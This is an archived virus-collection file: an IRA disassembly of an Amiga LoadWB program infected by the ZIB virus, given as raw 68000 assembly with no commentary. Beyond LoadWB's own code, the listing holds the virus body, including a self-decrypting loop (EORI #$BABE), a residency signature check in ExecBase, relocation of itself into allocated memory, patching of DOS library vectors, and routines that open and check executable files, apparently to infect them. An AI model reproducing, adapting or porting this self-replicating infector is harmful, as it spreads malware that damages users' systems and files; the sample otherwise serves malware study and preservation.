home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / z / ZIB / LoadWB-afterSpatch.asm < prev    next >
Assembly Source File  |  1989-05-01  |  25KB  |  945 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $20283330
  6. EXT_0002    EQU    $C8DBDFCA
  7.  
  8.  
  9.  
  10.  
  11.     SECTION S_0,CODE
  12.  
  13. SECSTRT_0:
  14.     LINK    A5,#-64            ;000: 4E55FFC0
  15.     MOVEM.L    D2-D3/D5-D7/A2-A3/A6,-(A7) ;004: 48E73732
  16.     MOVEA    #$0004,A0        ;008: 307C0004
  17.     MOVEA.L    (A0),A2            ;00C: 2450
  18.     MOVEA.L    A2,A0            ;00E: 204A
  19.     MOVEQ    #20,D7            ;010: 7E14
  20.     MOVE.L    A0,48(A7)        ;012: 2F480030
  21.     LEA    LAB_0016(PC),A1        ;016: 43FA021A
  22.     MOVEQ    #36,D0            ;01A: 7024
  23.     MOVEA.L    A2,A6            ;01C: 2C4A
  24.     JSR    -552(A6)        ;01E: 4EAEFDD8
  25.     MOVEA.L    D0,A3            ;022: 2640
  26.     MOVEA.L    A3,A0            ;024: 204B
  27.     MOVE.L    A0,44(A7)        ;026: 2F48002C
  28.     MOVE.L    A3,D0            ;02A: 200B
  29.     BEQ    LAB_0014        ;02C: 670001EA
  30.     MOVEQ    #15,D0            ;030: 700F
  31.     MOVEQ    #0,D1            ;032: 7200
  32.     LEA    -32(A5),A0        ;034: 41EDFFE0
  33. LAB_0000:
  34.     MOVE.B    D1,(A0)+        ;038: 10C1
  35.     DBF    D0,LAB_0000        ;03A: 51C8FFFC
  36.     LEA    LAB_0017(PC),A0        ;03E: 41FA01FE
  37.     MOVE.L    A0,D1            ;042: 2208
  38.     LEA    -32(A5),A6        ;044: 4DEDFFE0
  39.     MOVE.L    A6,D2            ;048: 240E
  40.     MOVEQ    #0,D3            ;04A: 7600
  41.     MOVEA.L    A3,A6            ;04C: 2C4B
  42.     JSR    -798(A6)        ;04E: 4EAEFCE2
  43.     MOVE.L    D0,40(A7)        ;052: 2F400028
  44.     TST.L    D0            ;056: 4A80
  45.     BNE.S    LAB_0001        ;058: 6610
  46.     JSR    -132(A6)        ;05A: 4EAEFF7C
  47.     MOVE.L    D0,D1            ;05E: 2200
  48.     MOVE.L    D3,D2            ;060: 2403
  49.     JSR    -474(A6)        ;062: 4EAEFE26
  50.     BRA    LAB_0012        ;066: 60000196
  51. LAB_0001:
  52.     LEA    LAB_0018(PC),A1        ;06A: 43FA0216
  53.     MOVEQ    #36,D0            ;06E: 7024
  54.     MOVEA.L    A2,A6            ;070: 2C4A
  55.     JSR    -552(A6)        ;072: 4EAEFDD8
  56.     MOVE.L    D0,36(A7)        ;076: 2F400024
  57.     TST.L    D0            ;07A: 4A80
  58.     BEQ    LAB_0011        ;07C: 67000176
  59.     SUBA.L    A2,A2            ;080: 95CA
  60.     SUBA.L    A0,A0            ;082: 91C8
  61.     MOVE.L    A0,D7            ;084: 2E08
  62.     MOVE.L    A0,-36(A5)        ;086: 2B48FFDC
  63.     TST.L    -24(A5)            ;08A: 4AADFFE8
  64.     BEQ.S    LAB_0002        ;08E: 6708
  65.     MOVE.B    #$2E,LAB_002D        ;090: 13FC002E000003FE
  66. LAB_0002:
  67.     MOVEA.L    D3,A1            ;098: 2243
  68.     MOVEA.L    48(A7),A6        ;09A: 2C6F0030
  69.     JSR    -294(A6)        ;09E: 4EAEFEDA
  70.     MOVEA.L    D0,A0            ;0A2: 2040
  71.     MOVE.L    172(A0),D1        ;0A4: 222800AC
  72.     ASL.L    #2,D1            ;0A8: E581
  73.     MOVE.L    D1,D6            ;0AA: 2C01
  74.     MOVE.L    D0,32(A7)        ;0AC: 2F400020
  75.     TST.L    D6            ;0B0: 4A86
  76.     BEQ.S    LAB_0007        ;0B2: 6766
  77.     MOVEA.L    D6,A1            ;0B4: 2246
  78.     MOVE.L    8(A1),D6        ;0B6: 2C290008
  79.     BRA.S    LAB_0007        ;0BA: 605E
  80. LAB_0003:
  81.     MOVEQ    #8,D0            ;0BC: 7008
  82.     MOVE.L    #$00010001,D1        ;0BE: 223C00010001
  83.     MOVEA.L    48(A7),A6        ;0C4: 2C6F0030
  84.     JSR    -198(A6)        ;0C8: 4EAEFF3A
  85.     MOVEA.L    D0,A3            ;0CC: 2640
  86.     MOVE.L    A3,D0            ;0CE: 200B
  87.     BEQ.S    LAB_0006        ;0D0: 6742
  88.     MOVE.L    A2,D0            ;0D2: 200A
  89.     BNE.S    LAB_0004        ;0D4: 6604
  90.     MOVEA.L    A3,A2            ;0D6: 244B
  91.     BRA.S    LAB_0005        ;0D8: 600A
  92. LAB_0004:
  93.     MOVE.L    A3,D0            ;0DA: 200B
  94.     ASR.L    #2,D0            ;0DC: E480
  95.     MOVEA.L    -36(A5),A0        ;0DE: 206DFFDC
  96.     MOVE.L    D0,(A0)            ;0E2: 2080
  97. LAB_0005:
  98.     MOVEA.L    A3,A0            ;0E4: 204B
  99.     MOVE.L    D6,D0            ;0E6: 2006
  100.     ASL.L    #2,D0            ;0E8: E580
  101.     MOVEA.L    D0,A1            ;0EA: 2240
  102.     MOVE.L    (A1),D6            ;0EC: 2C11
  103.     MOVEA.L    44(A7),A3        ;0EE: 266F002C
  104.     MOVE.L    A0,-36(A5)        ;0F2: 2B48FFDC
  105.     MOVE.L    A0,52(A7)        ;0F6: 2F480034
  106.     MOVE.L    4(A1),D1        ;0FA: 22290004
  107.     MOVEA.L    A3,A6            ;0FE: 2C4B
  108.     JSR    -96(A6)            ;100: 4EAEFFA0
  109.     MOVEA.L    52(A7),A0        ;104: 206F0034
  110.     MOVE.L    D0,4(A0)        ;108: 21400004
  111.     TST.L    D0            ;10C: 4A80
  112.     BNE.S    LAB_0007        ;10E: 660A
  113.     MOVEQ    #20,D7            ;110: 7E14
  114.     BRA.S    LAB_0007        ;112: 6006
  115. LAB_0006:
  116.     MOVEQ    #20,D7            ;114: 7E14
  117.     MOVEA.L    44(A7),A3        ;116: 266F002C
  118. LAB_0007:
  119.     TST.L    D6            ;11A: 4A86
  120.     BEQ.S    LAB_0008        ;11C: 6704
  121.     TST.L    D7            ;11E: 4A87
  122.     BEQ.S    LAB_0003        ;120: 679A
  123. LAB_0008:
  124.     TST.L    D7            ;122: 4A87
  125.     BNE    LAB_000D        ;124: 66000082
  126.     MOVEQ    #0,D6            ;128: 7C00
  127.     MOVEQ    #0,D5            ;12A: 7A00
  128.     BRA.S    LAB_000B        ;12C: 6018
  129. LAB_0009:
  130.     MOVE.L    D5,D0            ;12E: 2005
  131.     EXT.L    D0            ;130: 48C0
  132.     ASL.L    #2,D0            ;132: E580
  133.     TST.L    -32(A5,D0.L)        ;134: 4AB508E0
  134.     BEQ.S    LAB_000A        ;138: 670A
  135.     MOVE.L    D5,D0            ;13A: 2005
  136.     EXT.L    D0            ;13C: 48C0
  137.     MOVEQ    #1,D1            ;13E: 7201
  138.     ASL.L    D0,D1            ;140: E1A1
  139.     OR.L    D1,D6            ;142: 8C81
  140. LAB_000A:
  141.     ADDQ    #1,D5            ;144: 5245
  142. LAB_000B:
  143.     MOVEQ    #4,D0            ;146: 7004
  144.     CMP    D0,D5            ;148: BA40
  145.     BLT.S    LAB_0009        ;14A: 6DE2
  146.     MOVEQ    #0,D1            ;14C: 7200
  147.     MOVEA.L    A3,A6            ;14E: 2C4B
  148.     JSR    -126(A6)        ;150: 4EAEFF82
  149.     MOVEA.L    32(A7),A1        ;154: 226F0020
  150.     MOVEA.L    164(A1),A0        ;158: 206900A4
  151.     CLR.L    164(A1)            ;15C: 42A900A4
  152.     MOVE.L    D0,44(A7)        ;160: 2F40002C
  153.     MOVE.L    A0,52(A7)        ;164: 2F480034
  154.     MOVEA.L    36(A7),A0        ;168: 206F0024
  155.     JSR    LAB_001A(PC)        ;16C: 4EBA0126
  156.     MOVE.L    A2,D0            ;170: 200A
  157.     ASR.L    #2,D0            ;172: E480
  158.     MOVE.L    D0,D1            ;174: 2200
  159.     MOVE.L    D6,D0            ;176: 2006
  160.     MOVEA.L    36(A7),A6        ;178: 2C6F0024
  161.     JSR    -42(A6)            ;17C: 4EAEFFD6
  162.     MOVEA.L    32(A7),A0        ;180: 206F0020
  163.     MOVE.L    52(A7),164(A0)        ;184: 216F003400A4
  164.     MOVE    D0,56(A7)        ;18A: 3F400038
  165.     MOVE.L    44(A7),D1        ;18E: 222F002C
  166.     MOVEA.L    A3,A6            ;192: 2C4B
  167.     JSR    -126(A6)        ;194: 4EAEFF82
  168.     MOVE    56(A7),D0        ;198: 302F0038
  169.     EXT.L    D0            ;19C: 48C0
  170.     BEQ.S    LAB_000C        ;19E: 6704
  171.     SUBA.L    A2,A2            ;1A0: 95CA
  172.     BRA.S    LAB_0010        ;1A2: 603C
  173. LAB_000C:
  174.     MOVEQ    #5,D7            ;1A4: 7E05
  175.     BRA.S    LAB_0010        ;1A6: 6038
  176. LAB_000D:
  177.     MOVEA.L    A3,A6            ;1A8: 2C4B
  178.     JSR    -132(A6)        ;1AA: 4EAEFF7C
  179.     MOVE.L    D0,D1            ;1AE: 2200
  180.     MOVEQ    #0,D2            ;1B0: 7400
  181.     JSR    -474(A6)        ;1B2: 4EAEFE26
  182.     BRA.S    LAB_0010        ;1B6: 6028
  183. LAB_000E:
  184.     MOVE.L    4(A2),D0        ;1B8: 202A0004
  185.     BEQ.S    LAB_000F        ;1BC: 6708
  186.     MOVE.L    D0,D1            ;1BE: 2200
  187.     MOVEA.L    A3,A6            ;1C0: 2C4B
  188.     JSR    -90(A6)            ;1C2: 4EAEFFA6
  189. LAB_000F:
  190.     MOVE.L    (A2),D0            ;1C6: 2012
  191.     MOVE.L    D0,32(A7)        ;1C8: 2F400020
  192.     MOVEA.L    A2,A1            ;1CC: 224A
  193.     MOVEQ    #8,D0            ;1CE: 7008
  194.     MOVEA.L    48(A7),A6        ;1D0: 2C6F0030
  195.     JSR    -210(A6)        ;1D4: 4EAEFF2E
  196.     MOVE.L    32(A7),D0        ;1D8: 202F0020
  197.     ASL.L    #2,D0            ;1DC: E580
  198.     MOVEA.L    D0,A2            ;1DE: 2440
  199. LAB_0010:
  200.     MOVE.L    A2,D0            ;1E0: 200A
  201.     BNE.S    LAB_000E        ;1E2: 66D4
  202.     MOVEA.L    48(A7),A2        ;1E4: 246F0030
  203.     MOVEA.L    36(A7),A1        ;1E8: 226F0024
  204.     MOVEA.L    A2,A6            ;1EC: 2C4A
  205.     JSR    -414(A6)        ;1EE: 4EAEFE62
  206.     BRA.S    LAB_0012        ;1F2: 600A
  207. LAB_0011:
  208.     MOVEQ    #122,D1            ;1F4: 727A
  209.     MOVEQ    #0,D2            ;1F6: 7400
  210.     MOVEA.L    A3,A6            ;1F8: 2C4B
  211.     JSR    -474(A6)        ;1FA: 4EAEFE26
  212. LAB_0012:
  213.     TST.L    40(A7)            ;1FE: 4AAF0028
  214.     BEQ.S    LAB_0013        ;202: 670A
  215.     MOVE.L    40(A7),D1        ;204: 222F0028
  216.     MOVEA.L    A3,A6            ;208: 2C4B
  217.     JSR    -858(A6)        ;20A: 4EAEFCA6
  218. LAB_0013:
  219.     MOVEA.L    A3,A1            ;20E: 224B
  220.     MOVEA.L    A2,A6            ;210: 2C4A
  221.     JSR    -414(A6)        ;212: 4EAEFE62
  222.     BRA.S    LAB_0015        ;216: 6010
  223. LAB_0014:
  224.     MOVEA    #$0004,A0        ;218: 307C0004
  225.     MOVEA.L    (A0),A1            ;21C: 2250
  226.     MOVEA.L    276(A1),A0        ;21E: 20690114
  227.     MOVEQ    #122,D0            ;222: 707A
  228.     MOVE.L    D0,148(A0)        ;224: 21400094
  229. LAB_0015:
  230.     MOVE.L    D7,D0            ;228: 2007
  231.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A6 ;22A: 4CDF4CEC
  232.     UNLK    A5            ;22E: 4E5D
  233.     RTS                ;230: 4E75
  234. LAB_0016:
  235.     DC.W    $646F            ;232
  236.     DC.W    $732E            ;234
  237.     DC.W    $6C69            ;236
  238.     BHI.S    LAB_001B        ;238: 6272
  239.     BSR.S    LAB_001B+2        ;23A: 6172
  240.     DC.W    $7900            ;23C
  241. LAB_0017:
  242.     MOVE.L    D4,17730(A6)        ;23E: 2D444542
  243.     SUBQ    #2,D7            ;242: 5547
  244.     MOVE.L    (A3),11332(A7)        ;244: 2F532C44
  245.     DC.W    $454C            ;248
  246.     DC.W    $4159            ;24A
  247.     DC.W    $2F53            ;24C
  248.     MOVEA.L    D3,A6            ;24E: 2C43
  249.     DC.W    $4C45            ;250
  250.     DC.W    $414E            ;252
  251.     SUBQ    #2,(A0)            ;254: 5550
  252.     MOVE.L    (A3),11342(A7)        ;256: 2F532C4E
  253.     DC.W    $4557            ;25A
  254.     ADDQ    #8,D1            ;25C: 5041
  255.     ADDQ    #2,A0            ;25E: 5448
  256.     MOVE.L    (A3),36(A7)        ;260: 2F530024
  257.     ADDQ    #3,D5            ;264: 5645
  258.     DC.W    $523A            ;266
  259.     DC.W    $206C            ;268
  260.     DC.W    $6F61            ;26A
  261.     DC.W    $6477            ;26C
  262.     BHI.S    LAB_0019        ;26E: 6220
  263.     DC.W    $3338            ;270
  264.     MOVE.L    EXT_0001,D7        ;272: 2E3920283330
  265.     DC.W    $2E33            ;278
  266.     DC.W    $2E39            ;27A
  267.     DC.W    $3229            ;27C
  268.     DC.W    $0A0D            ;27E
  269.     DC.W    $0000            ;280
  270. LAB_0018:
  271.     DC.W    $776F            ;282
  272.     MOVEQ    #107,D1            ;284: 726B
  273.     DC.W    $6265            ;286
  274.     DC.W    $6E63            ;288
  275.     BVC.S    LAB_001E+2        ;28A: 682E
  276.     DC.W    $6C69            ;28C
  277.     BHI.S    LAB_0021        ;28E: 6272
  278. LAB_0019:
  279.     BSR.S    LAB_0021+2        ;290: 6172
  280.     DC.W    $7900            ;292
  281. LAB_001A:
  282.     MOVEM.L    A2-A3/A6,-(A7)        ;294: 48E70032
  283.     MOVEA.L    A0,A2            ;298: 2448
  284.     BSR    LAB_0030        ;29A: 6100018C
  285.     NOP                ;29E: 4E71
  286.     JSR    -132(A6)        ;2A0: 4EAEFF7C
  287.     CMPI    #$0025,20(A2)        ;2A4: 0C6A00250014
  288.     BNE.S    LAB_001D        ;2AA: 6608
  289. LAB_001B:
  290.     CMPI    #$0084,22(A2)        ;2AC: 0C6A00840016
  291.     BEQ.S    LAB_001F        ;2B2: 670A
  292. LAB_001D:
  293.     JSR    -138(A6)        ;2B4: 4EAEFF76
  294. LAB_001E:
  295.     MOVEM.L    (A7)+,A2-A3/A6        ;2B8: 4CDF4C00
  296.     RTS                ;2BC: 4E75
  297. LAB_001F:
  298.     BTST    #1,45(A2)        ;2BE: 082A0001002D
  299.     BNE.S    LAB_001D        ;2C4: 66EE
  300.     BTST    #7,44(A2)        ;2C6: 082A0007002C
  301.     BNE.S    LAB_001D        ;2CC: 66E6
  302.     MOVE.L    #$000000A4,D0        ;2CE: 203C000000A4
  303.     MOVE.L    #$00000001,D1        ;2D4: 223C00000001
  304.     JSR    -684(A6)        ;2DA: 4EAEFD54
  305.     MOVEA.L    D0,A3            ;2DE: 2640
  306.     LSR.L    #2,D0            ;2E0: E488
  307.     BEQ.S    LAB_001D        ;2E2: 67D0
  308.     MOVEA.L    A3,A0            ;2E4: 204B
  309.     LEA    LAB_0023(PC),A1        ;2E6: 43FA0076
  310.     MOVE.L    #$00000028,D1        ;2EA: 223C00000028
  311. LAB_0020:
  312.     MOVE.L    (A1)+,(A0)+        ;2F0: 20D9
  313.     DBF    D1,LAB_0020        ;2F2: 51C9FFFC
  314.     MOVE.L    36(A2),(A3)        ;2F6: 26AA0024
  315.     MOVE.L    D0,36(A2)        ;2FA: 25400024
  316.     JSR    -636(A6)        ;2FE: 4EAEFD84
  317. LAB_0021:
  318.     LEA    4(A3),A0        ;302: 41EB0004
  319.     MOVE.L    A0,D0            ;306: 2008
  320.     MOVEA.L    A2,A1            ;308: 224A
  321.     MOVEA    #$FFDC,A0        ;30A: 307CFFDC
  322.     JSR    -420(A6)        ;30E: 4EAEFE5C
  323.     MOVE.L    D0,144(A3)        ;312: 27400090
  324.     LEA    86(A3),A0        ;316: 41EB0056
  325.     MOVE.L    A0,D0            ;31A: 2008
  326.     MOVEA.L    A2,A1            ;31C: 224A
  327.     MOVEA    #$FFF4,A0        ;31E: 307CFFF4
  328.     JSR    -420(A6)        ;322: 4EAEFE5C
  329.     MOVE.L    D0,148(A3)        ;326: 27400094
  330.     BSET    #7,44(A2)        ;32A: 08EA0007002C
  331.     LEA    LAB_002E(PC),A1        ;330: 43FA00D0
  332.     MOVEQ    #37,D0            ;334: 7025
  333.     JSR    -552(A6)        ;336: 4EAEFDD8
  334.     MOVE.L    D0,152(A3)        ;33A: 27400098
  335.     BEQ    LAB_001D        ;33E: 6700FF74
  336.     MOVEA.L    D0,A6            ;342: 2C40
  337.     SUBA.L    A2,A2            ;344: 95CA
  338.     LEA    LAB_002F+1(PC),A1    ;346: 43FA00C9
  339.     SUBA.L    A0,A0            ;34A: 91C8
  340.     JSR    -150(A6)        ;34C: 4EAEFF6A
  341.     MOVE.L    D0,156(A3)        ;350: 2740009C
  342.     BSR    LAB_0030        ;354: 610000D2
  343.     NOP                ;358: 4E71
  344.     BRA    LAB_001D        ;35A: 6000FF58
  345. LAB_0023:
  346.     ORI.B    #$00,D0            ;35E: 00000000
  347.     CMPI.L    #$00000008,D0        ;362: 0C8000000008
  348.     BNE.S    LAB_0024        ;368: 6606
  349.     BCLR    #1,44(A6)        ;36A: 08AE0001002C
  350. LAB_0024:
  351.     MOVE.L    D2,-(A7)        ;370: 2F02
  352.     MOVE.L    D0,D2            ;372: 2400
  353.     MOVEA.L    LAB_0029(PC),A0        ;374: 207A0078
  354.     JSR    (A0)            ;378: 4E90
  355.     CMPI.L    #$00000064,D2        ;37A: 0C8200000064
  356.     BNE.S    LAB_0025        ;380: 660A
  357.     LEA    LAB_002D(PC),A0        ;382: 41FA007A
  358.     MOVE.B    (A0),D0            ;386: 1010
  359.     BEQ.S    LAB_0025        ;388: 6702
  360.     MOVE.L    A0,D0            ;38A: 2008
  361. LAB_0025:
  362.     MOVE.L    LAB_002C(PC),D1        ;38C: 223A006C
  363.     BEQ.S    LAB_0027        ;390: 671E
  364.     MOVEA.L    D1,A0            ;392: 2041
  365.     MOVEA.L    D0,A1            ;394: 2240
  366.     MOVE.L    D2,D0            ;396: 2002
  367.     MOVE.L    LAB_002B(PC),D2        ;398: 243A005C
  368.     EXG    D2,A6            ;39C: C58E
  369.     JSR    -72(A6)            ;39E: 4EAEFFB8
  370.     TST.L    D0            ;3A2: 4A80
  371.     BEQ.S    LAB_0026        ;3A4: 6708
  372.     MOVEA.L    D0,A0            ;3A6: 2040
  373.     MOVE.B    (A0),D1            ;3A8: 1210
  374.     BNE.S    LAB_0026        ;3AA: 6602
  375.     MOVEQ    #0,D0            ;3AC: 7000
  376. LAB_0026:
  377.     EXG    D2,A6            ;3AE: C58E
  378. LAB_0027:
  379.     MOVE.L    (A7)+,D2        ;3B0: 241F
  380.     BRA.S    LAB_0031        ;3B2: 6078
  381.     MOVE.L    LAB_002A(PC),-(A7)    ;3B4: 2F3A003C
  382.     CMPI    #$0001,32(A6)        ;3B8: 0C6E00010020
  383.     BNE.S    LAB_0028        ;3BE: 662C
  384.     MOVE.L    LAB_002B(PC),D0        ;3C0: 203A0034
  385.     BEQ.S    LAB_0028        ;3C4: 6726
  386.     MOVE.L    A6,-(A7)        ;3C6: 2F0E
  387.     MOVEA.L    D0,A6            ;3C8: 2C40
  388.     MOVEA.L    LAB_002C(PC),A0        ;3CA: 207A002E
  389.     JSR    -36(A6)            ;3CE: 4EAEFFDC
  390.     MOVEA.L    A6,A1            ;3D2: 224E
  391.     BSR    LAB_0030        ;3D4: 61000052
  392.     NOP                ;3D8: 4E71
  393.     JSR    -414(A6)        ;3DA: 4EAEFE62
  394.     MOVEQ    #0,D0            ;3DE: 7000
  395.     LEA    LAB_002B(PC),A0        ;3E0: 41FA0014
  396.     MOVE.L    D0,(A0)+        ;3E4: 20C0
  397.     MOVE.L    D0,(A0)+        ;3E6: 20C0
  398.     MOVE.L    D0,(A0)            ;3E8: 2080
  399.     MOVEA.L    (A7)+,A6        ;3EA: 2C5F
  400. LAB_0028:
  401.     BRA.S    LAB_0031        ;3EC: 603E
  402. LAB_0029:
  403.     ORI.B    #$00,D0            ;3EE: 00000000
  404. LAB_002A:
  405.     ORI.B    #$00,D0            ;3F2: 00000000
  406. LAB_002B:
  407.     ORI.B    #$00,D0            ;3F6: 00000000
  408. LAB_002C:
  409.     ORI.B    #$00,D0            ;3FA: 00000000
  410. LAB_002D:
  411.     ORI.B    #$00,D0            ;3FE: 00000000
  412. LAB_002E:
  413.     DC.W    $6C6F            ;402
  414.     DC.W    $6361            ;404
  415.     DC.W    $6C65            ;406
  416.     MOVEA.L    26978(A4),A7        ;408: 2E6C6962
  417.     MOVEQ    #97,D1            ;40C: 7261
  418.     MOVEQ    #121,D1            ;40E: 7279
  419. LAB_002F:
  420.     DC.W    $0073            ;410
  421.     DC.W    $7973            ;412
  422.     DC.W    $2F77            ;414
  423.     BLE.S    LAB_003A        ;416: 6F72
  424.     BMI.S    LAB_0037+6        ;418: 6B62
  425.     BCS.S    LAB_003A        ;41A: 656E
  426.     BLS.S    LAB_0039        ;41C: 6368
  427.     MOVEA.L    -(A3),A7        ;41E: 2E63
  428.     BSR.S    LAB_003C+4        ;420: 6174
  429.     BSR.S    LAB_003B+2        ;422: 616C
  430.     DC.W    $6F67            ;424
  431.     DC.W    $0000            ;426
  432. LAB_0030:
  433.     MOVEA.L    (ABSEXECBASE).W,A6    ;428: 2C780004
  434. LAB_0031:
  435.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;42C: 48E7FFFE
  436.     BSR.S    LAB_0032        ;430: 6108
  437.     BSR.S    LAB_0036        ;432: 613E
  438.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;434: 4CDF7FFF
  439.     RTS                ;438: 4E75
  440. LAB_0032:
  441.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;43A: 48E7FFFE
  442.     LEA    LAB_0068(PC),A0        ;43E: 41FA0422
  443.     DC.W    $43FA            ;442
  444.     DC.W    $04D4            ;444
  445. LAB_0033:
  446.     EORI    #$BABE,(A0)+        ;446: 0A58BABE
  447.     CMPA.L    A0,A1            ;44A: B3C8
  448.     BNE.S    LAB_0033        ;44C: 66F8
  449.     MOVEA.L    (ABSEXECBASE).W,A6    ;44E: 2C780004
  450.     JSR    -636(A6)        ;452: 4EAEFD84
  451.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;456: 4CDF7FFF
  452.     RTS                ;45A: 4E75
  453. LAB_0034:
  454.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;45C: 48E77FFE
  455.     MOVE.L    #$00050001,D1        ;460: 223C00050001
  456.     JSR    -684(A6)        ;466: 4EAEFD54
  457.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;46A: 4CDF7FFE
  458.     TST.L    D0            ;46E: 4A80
  459. LAB_0035:
  460.     RTS                ;470: 4E75
  461. LAB_0036:
  462.     MOVEA.L    (ABSEXECBASE).W,A6    ;472: 2C780004
  463. LAB_0037:
  464.     CMPI.L    #$54525369,514(A6)    ;476: 0CAE545253690202
  465.     BEQ.S    LAB_0035        ;47E: 67F0
  466.     MOVE.L    #$00000200,D0        ;480: 203C00000200
  467. LAB_0039:
  468.     BSR.S    LAB_0034        ;486: 61D4
  469.     BEQ.S    LAB_0035        ;488: 67E6
  470. LAB_003A:
  471.     LEA    LAB_0031(PC),A1        ;48A: 43FAFFA0
  472. LAB_003B:
  473.     MOVE.L    D0,1062(A1)        ;48E: 23400426
  474. LAB_003C:
  475.     MOVE.L    #$00000522,D0        ;492: 203C00000522
  476.     BSR.S    LAB_0034        ;498: 61C2
  477.     BEQ.S    LAB_0035        ;49A: 67D4
  478.     MOVEA.L    D0,A0            ;49C: 2040
  479.     MOVE    #$04EB,D1        ;49E: 323C04EB
  480. LAB_003D:
  481.     MOVE.B    (A1)+,(A0)+        ;4A2: 10D9
  482.     DBF    D1,LAB_003D        ;4A4: 51C9FFFC
  483.     MOVEA.L    D0,A0            ;4A8: 2040
  484.     PEA    134(A0)            ;4AA: 48680086
  485.     JMP    -636(A6)        ;4AE: 4EEEFD84
  486.     LEA    LAB_0067(PC),A1        ;4B2: 43FA03A2
  487.     MOVE.L    #$10020019,198(A1)    ;4B6: 237C1002001900C6
  488.     MOVEQ    #37,D0            ;4BE: 7025
  489.     JSR    -552(A6)        ;4C0: 4EAEFDD8
  490.     TST.L    D0            ;4C4: 4A80
  491.     BEQ.S    LAB_0035        ;4C6: 67A8
  492.     DC.W    $43FA            ;4C8
  493.     DC.W    $044E            ;4CA
  494.     MOVE.L    D0,(A1)            ;4CC: 2280
  495.     MOVEA.L    D0,A2            ;4CE: 2440
  496.     MOVEA.L    -148(A2),A3        ;4D0: 266AFF6C
  497.     LEA    LAB_003F(PC),A4        ;4D4: 49FA0044
  498.     MOVE.L    -162(A4),D1        ;4D8: 222CFF5E
  499.     CMP.L    -162(A3),D1        ;4DC: B2ABFF5E
  500.     BEQ.S    LAB_003E        ;4E0: 6708
  501.     MOVE.L    A3,1042(A4)        ;4E2: 294B0412
  502.     MOVE.L    A4,-148(A2)        ;4E6: 254CFF6C
  503. LAB_003E:
  504.     MOVE.L    LAB_0037+2(PC),514(A6)    ;4EA: 2D7AFF8C0202
  505.     LEA    LAB_006A(PC),A1        ;4F0: 43FA0384
  506.     JSR    -294(A6)        ;4F4: 4EAEFEDA
  507.     TST.L    D0            ;4F8: 4A80
  508.     BNE.S    LAB_0041        ;4FA: 6634
  509.     LEA    LAB_006A(PC),A1        ;4FC: 43FA0378
  510.     MOVE.L    A1,D1            ;500: 2209
  511.     CLR.L    D2            ;502: 4282
  512.     LEA    LAB_0053(PC),A1        ;504: 43FA01CA
  513.     MOVE.L    A1,D3            ;508: 2609
  514.     LSR.L    #2,D3            ;50A: E48B
  515.     MOVE.L    #$00000400,D4        ;50C: 283C00000400
  516.     DC.W    $2C7A            ;512
  517.     DC.W    $0404            ;514
  518.     JMP    -138(A6)        ;516: 4EEEFF76
  519. LAB_003F:
  520.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;51A: 48E7FFFE
  521.     DC.W    $4BFA            ;51E
  522.     DC.W    $0428            ;520
  523.     TST.L    (A5)            ;522: 4A95
  524.     BNE.S    LAB_0040        ;524: 6602
  525.     BSR.S    LAB_0043        ;526: 6110
  526. LAB_0040:
  527.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;528: 4CDF7FFF
  528.     DC.W    $2F3A            ;52C
  529.     DC.W    $03FE            ;52E
  530. LAB_0041:
  531.     RTS                ;530: 4E75
  532. LAB_0042:
  533.     MOVE.L    D7,D1            ;532: 2207
  534.     JMP    -90(A6)            ;534: 4EEEFFA6
  535. LAB_0043:
  536.     DC.W    $2C7A            ;538
  537.     BSET    D1,(A6)+        ;53A: 03DE
  538.     DC.W    $41FA            ;53C
  539.     BSET    D1,-127(A2,D2.W)    ;53E: 03F22081
  540.     MOVEQ    #-1,D2            ;542: 74FF
  541.     JSR    -84(A6)            ;544: 4EAEFFAC
  542.     TST.L    D0            ;548: 4A80
  543.     BEQ.S    LAB_0041        ;54A: 67E4
  544.     MOVE.L    D0,D7            ;54C: 2E00
  545.     MOVE.L    D0,D1            ;54E: 2200
  546.     MOVEA.L    LAB_0066(PC),A5        ;550: 2A7A0300
  547.     MOVE.L    A5,D2            ;554: 240D
  548.     JSR    -114(A6)        ;556: 4EAEFF8E
  549.     TST.L    D0            ;55A: 4A80
  550.     BEQ.S    LAB_0042        ;55C: 67D4
  551.     CMPI.L    #$00000052,8(A5)    ;55E: 0CAD000000520008
  552.     BNE.S    LAB_0042        ;566: 66CA
  553.     MOVE.L    12(A5),D0        ;568: 202D000C
  554.     SUB.L    16(A5),D0        ;56C: 90AD0010
  555.     CMP.L    #$00000005,D0        ;570: B0BC00000005
  556.     BLE.S    LAB_0042        ;576: 6FBA
  557.     MOVE.L    D7,D1            ;578: 2207
  558.     MOVE.L    A5,D2            ;57A: 240D
  559.     JSR    -102(A6)        ;57C: 4EAEFF9A
  560.     TST.L    D0            ;580: 4A80
  561.     BEQ.S    LAB_0042        ;582: 67AE
  562.     TST    116(A5)            ;584: 4A6D0074
  563.     BNE.S    LAB_0042        ;588: 66A8
  564.     CMPI.L    #$0001E848,124(A5)    ;58A: 0CAD0001E848007C
  565.     BHI.S    LAB_0042        ;592: 629E
  566.     BSR.S    LAB_0042        ;594: 619C
  567.     MOVE.L    124(A5),D0        ;596: 202D007C
  568.     MOVEA.L    (ABSEXECBASE).W,A6    ;59A: 2C780004
  569.     BSR    LAB_0034        ;59E: 6100FEBC
  570.     BEQ.S    LAB_0044        ;5A2: 6716
  571.     MOVE.L    D0,D7            ;5A4: 2E00
  572.     DC.W    $2C7A            ;5A6
  573.     DC.W    $0370            ;5A8
  574.     DC.W    $223A            ;5AA
  575.     BCLR    D1,D4            ;5AC: 0384
  576.     MOVE.L    #$000003ED,D2        ;5AE: 243C000003ED
  577.     JSR    -30(A6)            ;5B4: 4EAEFFE2
  578.     TST.L    D0            ;5B8: 4A80
  579. LAB_0044:
  580.     BEQ    LAB_0049        ;5BA: 6700008C
  581.     MOVE.L    D0,D6            ;5BE: 2C00
  582.     MOVE.L    D0,D1            ;5C0: 2200
  583.     MOVE.L    D7,D2            ;5C2: 2407
